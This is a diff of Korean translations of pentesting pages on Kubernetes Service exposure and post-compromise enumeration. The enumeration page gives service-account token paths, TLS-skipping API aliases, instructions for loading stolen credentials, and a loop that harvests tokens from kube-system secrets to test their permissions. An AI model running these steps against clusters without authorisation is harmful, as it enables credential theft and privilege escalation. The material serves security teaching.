allowlist option을 문서화함으로써 Kubernetes ExternalName SSRF issue를 patch했습니다. + +모든 ExternalNames 목록: ```bash kubectl get services --all-namespaces | grep ExternalName ``` ### EndpointSlices -EndpointSlices는 Service가 현재 라우팅하는 구체적인 backend 주소와 포트를 보여줍니다. Service에 selector가 없을 때, labels만으로 traffic path를 설명할 수 없을 때, 또는 일부 backend만 ready 상태일 때 특히 유용합니다. +EndpointSlices는 Service가 현재 라우팅하는 구체적인 백엔드 주소와 포트를 보여줍니다. Service에 selector가 없을 때, labels가 트래픽 경로를 설명하지 못할 때, 또는 일부 백엔드만 ready 상태일 때 특히 유용합니다. Services와 연결된 EndpointSlices를 나열합니다: ```bash @@ -164,15 +167,15 @@ kubectl get endpointslice -n -l kubernetes.io/service-name= -l kubernetes.io/service-name= \ -o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port' ``` -노출을 검토할 때는 Service selector와 EndpointSlice의 `targetRef`, endpoint addresses, readiness conditions, 그리고 ports를 비교하세요. selectorless Service는 수동으로 관리되는 EndpointSlices와 함께 사용될 수 있으며, traffic을 non-Pod 또는 예상치 못한 destination으로 라우팅할 수 있습니다. +노출을 검토할 때는 Service selector와 EndpointSlice `targetRef`, endpoint addresses, readiness conditions, 그리고 ports를 비교하세요. selectorless Service는 수동으로 관리되는 EndpointSlices와 함께 사용될 수 있으며, traffic을 non-Pod 또는 예상치 못한 대상로 라우팅할 수 있습니다. ### Ingress -위의 모든 예와 달리, **Ingress는 service type이 아닙니다**. 대신 **여러 services 앞에 위치하며 클러스터로 들어오는 “smart router”** 또는 entrypoint 역할을 합니다. +위의 모든 예제와 달리, **Ingress는 service의 한 종류가 아닙니다**. 대신, **여러 services 앞에 위치해 “smart router”** 또는 cluster로 들어오는 entrypoint 역할을 합니다. -Ingress로 다양한 작업을 할 수 있으며, **서로 다른 capabilities를 가진 여러 종류의 Ingress controllers**가 있습니다. +Ingress로는 다양한 작업을 할 수 있으며, **서로 다른 기능을 가진 여러 종류의 Ingress controllers가 있습니다**. -기본 GKE ingress controller는 여러분을 위해 [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/)를 생성합니다. 이를 통해 path 기반 및 subdomain 기반 routing을 backend services로 수행할 수 있습니다. 예를 들어, foo.yourdomain.com의 모든 traffic을 foo service로 보내고, yourdomain.com/bar/ path 아래의 모든 traffic을 bar service로 보낼 수 있습니다. +기본 GKE ingress controller는 [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/)를 자동으로 띄웁니다. 이를 통해 path 기반 및 subdomain 기반 routing을 backend services로 모두 사용할 수 있습니다. 예를 들어, foo.yourdomain.com으로 들어오는 모든 요청을 foo service로 보내고, yourdomain.com/bar/ path 아래의 모든 요청을 bar service로 보낼 수 있습니다. GKE에서 [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/)를 사용하는 Ingress object의 YAML은 다음과 같을 수 있습니다: ```yaml @@ -212,33 +215,42 @@ number: 8080 ```bash kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status' ``` -이 경우에는 각 정보를 하나씩 받아서 더 잘 읽는 것이 더 좋습니다: +하지만 이 경우에는 각 항목의 정보를 하나씩 가져와서 더 잘 읽는 것이 좋다: ```bash kubectl get ingresses --all-namespaces -o=yaml ``` ### Gateway API -Gateway API는 Services를 노출하기 위한 더 새로운 Kubernetes API입니다. 인프라 소유의 Gateway objects와 HTTPRoute 같은 애플리케이션 소유의 Route objects를 분리합니다. 이는 delegation에 유용하지만, exposure가 namespaces 간에 분리될 수 있다는 뜻이기도 합니다. +Gateway API는 Services를 노출하기 위한 더 새로운 Kubernetes API이다. 이것은 인프라 소유의 Gateway objects와 HTTPRoute 같은 애플리케이션 소유의 Route objects를 분리한다. 이는 delegation에 유용하지만, exposure가 namespaces 전반으로 분리될 수 있다는 뜻이기도 하다. -Gateway API exposure objects를 나열합니다: +Gateway API exposure objects를 나열하라: ```bash kubectl get gatewayclasses kubectl get gateways --all-namespaces kubectl get httproutes --all-namespaces +kubectl get grpcroutes,tlsroutes,tcproutes,udproutes --all-namespaces +kubectl get referencegrants --all-namespaces +kubectl get backendtlspolicies --all-namespaces kubectl get gateway -n -o yaml kubectl get httproute -n -o yaml ``` -Gateway listeners, allowed route namespaces, Route `parentRefs`, hostnames, filters, backend references, and status conditions such as whether the route was accepted. A Route that is accepted by a shared Gateway can expose a backend even when no legacy Ingress object exists. +Gateway listeners, allowed route namespaces, Route `parentRefs`, hostnames or SNI matches, filters, backend references, 그리고 `Accepted`, `ResolvedRefs`, `Programmed` 같은 status conditions를 확인하세요. shared Gateway가 수락한 Route는 legacy Ingress object가 없어도 backend를 expose할 수 있습니다. + +HTTPRoute만 확인하지 마세요. GRPCRoute, TLSRoute, TCPRoute, 그리고 UDPRoute는 admin ports, brokers, databases, service-mesh gateways, 또는 pass-through TLS backends 같은 non-HTTP services를 expose할 수 있습니다. 또한 cross-namespace backend 또는 certificate references를 위한 `ReferenceGrant` objects와, Gateway가 backend Services에 연결할 때 사용하는 TLS identity를 위한 `BackendTLSPolicy`도 검토하세요. Backend TLS policy는 그 자체로 public reachability의 증거는 아니지만, programmed Gateway route가 ready Service에 도달하면서 weak, shared, 또는 잘못된 backend identity validation을 사용할 때 유용한 증거가 됩니다. ### References - [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0) - [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/) +- [https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/) - [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/) - [https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/](https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/) - [https://kubernetes.io/docs/tutorials/services/source-ip/](https://kubernetes.io/docs/tutorials/services/source-ip/) - [https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/) - [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/) - [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/) +- [https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/](https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/) +- [https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/](https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/) +- [https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9](https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index 405e31405..222028316 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -4,79 +4,79 @@ ## Kubernetes Tokens -If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**. +만약 어떤 머신에 대한 compromised access가 있다면, 해당 사용자가 일부 Kubernetes platform에 접근할 수 있을 수 있습니다. token은 보통 **env var `KUBECONFIG`**가 가리키는 파일이나 **`~/.kube` 안**에 위치합니다. -In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved. +이 폴더에서는 **API server에 연결하기 위한 tokens와 configurations**가 들어 있는 config 파일을 찾을 수 있습니다. 또한 이전에 가져온 정보가 있는 cache folder도 찾을 수 있습니다. -If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env: +Kubernetes 환경 내부의 pod를 compromised 했다면, 현재 K8 env에 대한 token과 정보를 찾을 수 있는 다른 위치들도 있습니다: ### Service Account Tokens -Before continuing, if you don't know what is a service in Kubernetes I would suggest you to **follow this link and read at least the information about Kubernetes architecture.** +계속하기 전에, Kubernetes에서 service가 무엇인지 모른다면 **이 링크를 따라가서 적어도 Kubernetes architecture에 대한 정보는 읽어보는 것**을 권장합니다. -Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server): +Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server)에서 발췌: _“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_ -**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.\ -Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties. +**ServiceAccount**는 Kubernetes가 관리하는 object이며, pod에서 실행되는 processes에 identity를 제공하는 데 사용됩니다.\ +각 service account에는 관련된 secret이 있고, 이 secret에는 bearer token이 들어 있습니다. 이것은 JSON Web Token (JWT)이며, 두 당사자 사이에서 claims를 안전하게 표현하는 방법입니다. -Usually **one** of the directories: +보통 다음 디렉터리 중 **하나**: - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` - `/secrets/kubernetes.io/serviceaccount` -contain the files: +에는 다음 파일들이 들어 있습니다: -- **ca.crt**: It's the ca certificate to check kubernetes communications -- **namespace**: It indicates the current namespace -- **token**: It contains the **service token** of the current pod. +- **ca.crt**: kubernetes communications를 확인하기 위한 ca certificate +- **namespace**: 현재 namespace를 나타냄 +- **token**: 현재 pod의 **service token**을 포함함 -Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`** +이제 token을 얻었으니, 환경 변수 **`KUBECONFIG`**에서 API server를 찾을 수 있습니다. 더 많은 정보는 `(env | set) | grep -i "kuber|kube`**`"`**를 실행하세요. -The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**. +service account token은 **sa.key** 파일에 있는 key로 서명되고, **sa.pub**으로 검증됩니다. -Default location on **Kubernetes**: +**Kubernetes**의 기본 위치: - /etc/kubernetes/pki -Default location on **Minikube**: +**Minikube**의 기본 위치: - /var/lib/localkube/certs ### Hot Pods -_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc. +_**Hot pods are**_ privileged service account token을 포함한 pods입니다. privileged service account token은 secrets를 listing하거나 pods를 creating하는 것 같은 privileged tasks를 수행할 수 있는 permission이 있는 token입니다. ## RBAC -If you don't know what is **RBAC**, **read this section**. +**RBAC**가 무엇인지 모른다면, **이 섹션을 읽으세요**. ## GUI Applications -- **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces. -- **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/) +- **k9s**: terminal에서 kubernetes cluster를 enumerate하는 GUI입니다. [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/)의 commands를 확인하세요. `:namespace`를 입력하고 select all을 선택한 다음 모든 namespaces에서 resources를 search하세요. +- **k8slens**: 일부 무료 trial days를 제공합니다: [https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet -In order to enumerate a K8s environment you need a couple of this: +K8s environment를 enumerate하려면 다음이 필요합니다: -- A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token. -- The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file. -- **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this. +- **유효한 authentication token**. 이전 섹션에서 user token과 service account token을 어디서 찾는지 보았습니다. +- **Kubernetes API의 주소 (**_**https://host:port**_**)**. 이것은 보통 environment variables와/or kube config file에서 찾을 수 있습니다. +- **Optional**: API server를 검증하기 위한 **ca.crt**. 이는 token을 찾을 수 있는 동일한 위치에서 찾을 수 있습니다. API server certificate를 검증하는 데 유용하지만, `kubectl`에서 `--insecure-skip-tls-verify`를 사용하거나 `curl`에서 `-k`를 사용하면 이것이 필요하지 않습니다. -With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host. +이 정보가 있으면 **kubernetes를 enumerate**할 수 있습니다. 어떤 이유로든 **API**가 **Internet**을 통해 **accessible**하다면, 그 정보를 다운로드해서 호스트에서 플랫폼을 enumerate하면 됩니다. -However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server. +하지만 보통 **API server는 내부 네트워크 안**에 있으므로, 머신에 compromised access가 있다면 **tunnel을 생성**해서 자신의 머신에서 접근해야 하거나, [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary를 **upload**하거나, **`curl/wget/anything`**을 사용해 API server에 raw HTTP requests를 보낼 수 있습니다. ### Differences between `list` and `get` verbs -With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API: +**`get`** permissions가 있으면 특정 assets의 정보를 접근할 수 있습니다 (_`kubectl`의 `describe` option_): API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` -**`list`** 권한이 있으면, 해당 유형의 asset을 나열하는 API 요청을 실행할 수 있습니다 (_`kubectl`의 `get` 옵션_): +**`list`** 권한이 있으면, 특정 유형의 asset을 나열하기 위해 API 요청을 실행할 수 있습니다. (_`kubectl`의 `get` 옵션_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments @@ -109,21 +109,21 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] -> 기본적으로 pod는 도메인 이름 **`kubernetes.default.svc`**에서 **kube-api server**에 **접근**할 수 있으며, **`/etc/resolv.config`**에서 kube network를 볼 수 있습니다. 여기에서 kubernetes DNS server의 주소를 찾을 수 있습니다(같은 범위의 ".1"이 kube-api endpoint입니다). +> 기본적으로 pod는 도메인 이름 **`kubernetes.default.svc`**에서 **kube-api server**에 **access**할 수 있으며, **`/etc/resolv.config`**에서 kube network를 볼 수 있습니다. 여기서 kubernetes DNS server의 주소를 찾을 수 있습니다(같은 range의 ".1"이 kube-api endpoint입니다). ### Using kubectl -token과 API server의 address를 가지고 있으면, 여기에서 설명된 것처럼 kubectl 또는 curl을 사용해 접근할 수 있습니다: +token과 API server의 주소가 있으면, 여기에서 설명한 대로 kubectl 또는 curl을 사용해 접근할 수 있습니다: 기본적으로, APISERVER는 `https://` schema로 통신합니다 ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` -> url에 `https://`가 없으면 Bad Request 같은 Error를 받을 수 있습니다. +> url에 `https://`가 없으면 Bad Request 같은 Error가 발생할 수 있습니다. -[**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/)에서 확인할 수 있습니다. 다음 섹션들의 목표는 접근 권한을 얻은 새로운 K8s를 enumerate하고 이해하기 위한 다양한 options를 순서대로 제시하는 것입니다. +[**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/)에서 확인할 수 있습니다. 다음 섹션들의 목표는 접근 권한을 얻은 새로운 K8s를 enumerate하고 이해하기 위한 다양한 옵션을 순서대로 제시하는 것입니다. -`kubectl`이 보내는 HTTP request를 찾으려면 `-v=8` parameter를 사용할 수 있습니다. +`kubectl`이 보내는 HTTP request를 찾으려면 `-v=8` 파라미터를 사용할 수 있습니다. #### MitM kubectl - Proxyfying kubectl ```bash @@ -134,7 +134,7 @@ export HTTPS_PROXY=http://localhost:8080 # Launch kubectl kubectl get namespace --insecure-skip-tls-verify=true ``` -### 현재 Configuration +### 현재 설정 {{#tabs }} {{#tab name="Kubectl" }} @@ -150,7 +150,7 @@ kubectl config set-context --current --namespace= {{#endtab }} {{#endtabs }} -사용자 자격 증명을 훔치는 데 성공했다면 다음과 같은 방식으로 **로컬에서 구성**할 수 있습니다: +사용자 자격 증명을 일부 훔쳤다면, 다음과 같은 방법으로 **로컬에서 구성**할 수 있습니다: ```bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ @@ -163,7 +163,7 @@ kubectl config set-credentials USER_NAME \ ``` ### 지원되는 리소스 가져오기 -이 정보를 사용하면 나열할 수 있는 모든 서비스를 알 수 있습니다 +이 정보로 나열할 수 있는 모든 서비스를 알 수 있습니다 {{#tabs }} {{#tab name="kubectl" }} @@ -176,19 +176,45 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace ### 확인할 가치가 있는 Object metadata -Object를 읽을 수 있을 때는, table output이나 `describe`에만 의존하지 말고 전체 YAML 또는 JSON을 export하세요. 가장 유용한 security context는 종종 여러 resource type에 공통으로 존재하는 일반적인 object field에 들어 있습니다: +object를 읽을 수 있을 때는 table output이나 `describe`에만 의존하지 말고 전체 YAML 또는 JSON을 export 하라. 가장 유용한 security context는 종종 여러 resource type에 공통으로 존재하는 generic object fields에 있다: ```bash kubectl get pod -n -o yaml kubectl get deploy -n -o json | jq '.metadata, .spec, .status' kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase' ``` -- `metadata.uid`, `name`, `namespace`, `apiVersion` and `kind`는 정확한 object를 식별하고, 다른 namespace나 API group에 있는 같은 이름의 object 간 혼동을 피하게 해준다. -- `metadata.labels`와 selector는 Services, Deployments, ReplicaSets, Pods, NetworkPolicies와 automation을 연결한다. selector를 따라가는 것이 종종 Service의 실제 backend pods를 찾는 가장 빠른 방법이다. -- `metadata.annotations`는 ingress behavior, cloud load balancer settings, GitOps 또는 Helm metadata, policy exemptions, service mesh configuration 같은 운영 컨텍스트를 leak할 수 있다. 여기에는 secret이 들어가면 안 되지만, 실제 cluster에서는 유용한 단서가 자주 노출된다. -- `metadata.ownerReferences`는 controller lineage를 보여준다. Pod가 Deployment가 소유한 ReplicaSet에 의해 소유된다면, 보통 Pod만 변경하거나 삭제해서는 원인을 해결하지 못한다. -- `metadata.finalizers`와 `metadata.deletionTimestamp`는 deletion에 멈춰 있는 resources를 설명하며, cleanup controllers나 persistence/disruption trick를 드러낼 수 있다. +- `metadata.uid`, `name`, `namespace`, `apiVersion` and `kind`는 정확한 object를 식별하고, 다른 namespace나 API group에 있는 같은 이름의 object 간 혼동을 방지한다. +- `metadata.labels`와 selector는 Services, Deployments, ReplicaSets, Pods, NetworkPolicies와 automation을 연결한다. selector를 따라가는 것이 종종 Service의 실제 backend pods를 식별하는 가장 빠른 방법이다. +- `metadata.annotations`는 ingress behavior, cloud load balancer settings, GitOps 또는 Helm metadata, policy exemptions, service mesh configuration 같은 operational context를 leak할 수 있다. 여기에 secrets가 들어가면 안 되지만, 실제 cluster에서는 유용한 단서를 종종 볼 수 있다. +- `metadata.ownerReferences`는 controller lineage를 보여준다. Pod가 Deployment가 소유한 ReplicaSet에 의해 소유된다면, Pod만 변경하거나 삭제해도 보통 원인을 해결하지 못한다. +- `metadata.finalizers`와 `metadata.deletionTimestamp`는 deletion 중에 멈춘 resource를 설명하고, cleanup controllers나 persistence/disruption trick을 드러낼 수 있다. - `status`, Events, 그리고 conditions는 node placement, pod IPs, image IDs, failure messages, scheduling issues, admission denials, controller progress를 드러낼 수 있다. 이들은 유용한 단서이지만, 누가 action을 수행했는지 증명하려면 여전히 audit logs가 필요하다. +### Dynamic Resource Allocation and device evidence + +클러스터가 GPUs, NICs, FPGAs 또는 다른 specialized hardware를 사용한다면, Kubernetes Dynamic Resource Allocation (DRA)가 있는지 확인하라. DRA는 `DeviceClass`, `ResourceSlice`, `ResourceClaim`, `ResourceClaimTemplate` 같은 `resource.k8s.io` object를 사용해 사용 가능한 device를 설명하고 Pods를 위해 그것들을 claim한다. 이 object들은 어떤 node가 valuable hardware에 접근할 수 있는지, 어떤 driver가 그것을 관리하는지, 그리고 어떤 workload가 allocation을 받았는지 드러낼 수 있다. +```bash +kubectl api-resources --api-group=resource.k8s.io +kubectl get deviceclasses.resource.k8s.io 2>/dev/null +kubectl get resourceslices.resource.k8s.io 2>/dev/null +kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null +kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null +kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}' +kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga' +``` +검토 시, cluster-scoped `DeviceClass`와 `ResourceSlice` 객체에 대한 write는 admins와 DRA drivers로 제한하고, `ResourceClaim` / `ResourceClaimTemplate` 권한은 필요한 namespaces에만 scope를 제한하세요. `ResourceClaim` status를 update할 수 있는 driver 권한은 명시적이고 최소한이어야 합니다. nodes에서는 kubelet PodResources API가 일반적으로 `/var/lib/kubelet/pod-resources/kubelet.sock`를 통해 노출됩니다. monitoring DaemonSets가 할당된 devices를 검사하기 위해 그 디렉터리를 mount할 수 있으므로, 그런 Pods도 다른 privileged node agents처럼 review하세요. + +### ClusterTrustBundle and add-on certificate trust + +최근 clusters에서는 `certificates.k8s.io` API group에서 `ClusterTrustBundle` objects가 노출될 수 있습니다. 이들은 cluster-scoped X.509 trust anchor bundles이며, Pods가 projected volumes를 통해 mount할 수 있습니다. 광범위한 read access는 예상되지만, write access는 sensitive합니다. trusted roots를 변경하면 webhooks, aggregated APIs, service meshes, 그리고 cluster-distributed CA material을 사용하는 applications에 영향을 줄 수 있기 때문입니다. +```bash +kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle +kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null +kubectl get clustertrustbundle -o yaml 2>/dev/null +kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle' +kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}' +``` +During review, record `signerName`, bundle fingerprints, writer identities, projected-volume consumers, and any trust-distribution controller such as cert-manager trust-manager. Treat `APIService` objects with `insecureSkipTLSVerify: true`, stale `caBundle` values, or broad permissions to patch APIService/webhook trust fields as certificate-trust findings rather than ordinary object inventory. + ### Get Current Privileges {{#tabs }} @@ -214,19 +240,19 @@ kurl -i -s -k -X $'POST' \ 권한을 확인하는 또 다른 방법은 다음 도구를 사용하는 것입니다: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* -**Kubernetes RBAC**에 대해 더 알아보려면: +**Kubernetes RBAC**에 대해 더 알아보려면 다음을 참고하세요: {{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}} -**어떤 권한이 있는지** 알게 되면, 다음 페이지를 확인해 **이를 악용해서** 권한 상승을 할 수 있는지 알아보세요: +**자신이 어떤 권한을 가지고 있는지** 확인한 다음, 다음 페이지에서 **이 권한을 악용해** 권한 상승이 가능한지 살펴보세요: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -### Get Others roles +### 다른 사람의 roles 가져오기 {{#tabs }} {{#tab name="kubectl" }} @@ -246,7 +272,7 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu ### 네임스페이스 가져오기 -Kubernetes는 동일한 물리적 cluster를 기반으로 하는 **여러 virtual clusters**를 지원합니다. 이러한 virtual clusters를 **namespaces**라고 합니다. +Kubernetes는 동일한 물리적 클러스터를 기반으로 하는 **multiple virtual clusters**를 지원합니다. 이 virtual clusters는 **namespaces**라고 불립니다. {{#tabs }} {{#tab name="kubectl" }} @@ -259,6 +285,9 @@ k get namespaces ```bash kurl -k -v https://$APISERVER/api/v1/namespaces/ ``` +{{#endtab }} +{{#endtabs }} + ### 비밀 가져오기 {{#tabs }} @@ -278,13 +307,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ {{#endtab }} {{#endtabs }} -비밀을 읽을 수 있다면 다음 줄을 사용해 각 토큰에 관련된 권한을 얻을 수 있습니다: +비밀을 읽을 수 있다면, 다음 줄을 사용하여 각 토큰과 관련된 권한을 얻을 수 있습니다: ```bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` ### Service Accounts 가져오기 -이 페이지의 시작 부분에서 설명했듯이 **pod가 실행될 때 일반적으로 service account가 할당됩니다**. 따라서 service account, 그 권한, 그리고 어디에서 실행 중인지 나열하면 사용자가 권한을 상승시킬 수 있습니다. +이 페이지의 시작 부분에서 논의했듯이 **pod가 실행될 때 일반적으로 service account가 할당됩니다**. 따라서 service accounts, their permissions 그리고 어디에서 실행 중인지 나열하면 사용자가 privileges를 escalate하는 데 도움이 될 수 있습니다. {{#tabs }} {{#tab name="kubectl" }} @@ -302,7 +331,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts ### Deployment 가져오기 -Deployment는 stateless application workload의 원하는 상태를 지정합니다. 이들은 ReplicaSet을 생성하고, 그 ReplicaSet은 Pod를 생성합니다. +Deployment는 stateless application workloads의 desired state를 지정합니다. 이들은 ReplicaSets를 생성하고, 해당 ReplicaSets는 Pods를 생성합니다. {{#tabs }} {{#tab name="kubectl" }} @@ -338,9 +367,9 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces//statefulsets/ {{#endtab }} {{#endtabs }} -### Get Pods +### Pod 가져오기 -Pods는 실제 **containers**이며 **실행**된다. +Pods는 실제 **containers**로, **run**됩니다. {{#tabs }} {{#tab name="kubectl" }} @@ -359,7 +388,7 @@ kurl -v https://$APISERVER/api/v1/namespaces//pods/ ### 서비스 가져오기 -Kubernetes **services**는 **특정 port와 IP에서 service를 노출**하는 데 사용됩니다(실제로 service를 제공하는 pods에 대한 load balancer 역할을 합니다). 이는 공격해 볼 수 있는 다른 services를 어디서 찾을 수 있는지 알아내는 데 유용합니다. +Kubernetes **services**는 **특정 port와 IP에서 service를 노출**하는 데 사용됩니다(실제로 service를 제공하는 pod에 대한 load balancer 역할을 합니다). 이는 공격을 시도할 다른 service를 어디서 찾을 수 있는지 알아내는 데 유용합니다. {{#tabs }} {{#tab name="kubectl" }} @@ -378,7 +407,7 @@ kurl -v https://$APISERVER/api/v1/namespaces//services/ ### 노드 가져오기 -클러스터 내에 구성된 모든 **nodes**를 가져옵니다. +클러스터 내부에 구성된 모든 **nodes**를 가져옵니다. {{#tabs }} {{#tab name="kubectl" }} @@ -396,7 +425,7 @@ kurl -v https://$APISERVER/api/v1/nodes/ ### DaemonSets 가져오기 -**DaemonSets**는 클러스터의 **선택된 모든 노드에서 특정 Pod가 실행되도록** 보장합니다. DaemonSet을 삭제하면, 그것이 관리하던 Pods도 함께 제거됩니다. +**DaemonSets**는 클러스터의 **선택된 모든 node에서 특정 Pod가 실행되도록 보장**합니다. DaemonSet을 삭제하면, 그에 의해 관리되는 Pod도 함께 제거됩니다. {{#tabs }} {{#tab name="kubectl" }} @@ -414,7 +443,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces//daemonsets ### Job 가져오기 -Job은 완료될 때까지 실행되는 Pod를 생성합니다. 이는 일반적으로 migration, backup, batch 작업, 그리고 일회성 관리 작업에 사용됩니다. +Job은 완료될 때까지 실행되는 Pod를 생성합니다. 이들은 일반적으로 migration, backup, batch 작업, 그리고 단발성 관리 작업에 사용됩니다. {{#tabs }} {{#tab name="kubectl" }} @@ -433,7 +462,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces//jobs ### CronJobs 가져오기 -CronJobs는 crontab과 유사한 스케줄을 사용해 task-style 실행을 위한 Pods를 시작하는 Jobs를 생성한다. +CronJobs는 crontab과 유사한 스케줄을 사용하여 작업 스타일 실행을 위해 Pods를 시작하는 Jobs를 생성합니다. {{#tabs }} {{#tab name="kubectl" }} @@ -450,9 +479,9 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces//cronjobs {{#endtab }} {{#endtabs }} -### configMap 가져오기 +### Get configMap -configMap에는 항상 kubernetes에서 실행되는 앱에 제공되는 많은 정보와 configfile이 들어 있습니다. 보통 다른 내부/외부 service에 연결하고 인증하는 데 사용되는 password, secrets, token을 많이 찾을 수 있습니다. +configMap에는 항상 많은 정보와 kubernetes에서 실행되는 앱에 제공되는 configfile이 들어 있다. 보통 다른 내부/외부 서비스에 연결하고 인증하는 데 사용되는 password, secrets, tokens를 많이 찾을 수 있다. {{#tabs }} {{#tab name="kubectl" }} @@ -468,7 +497,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps 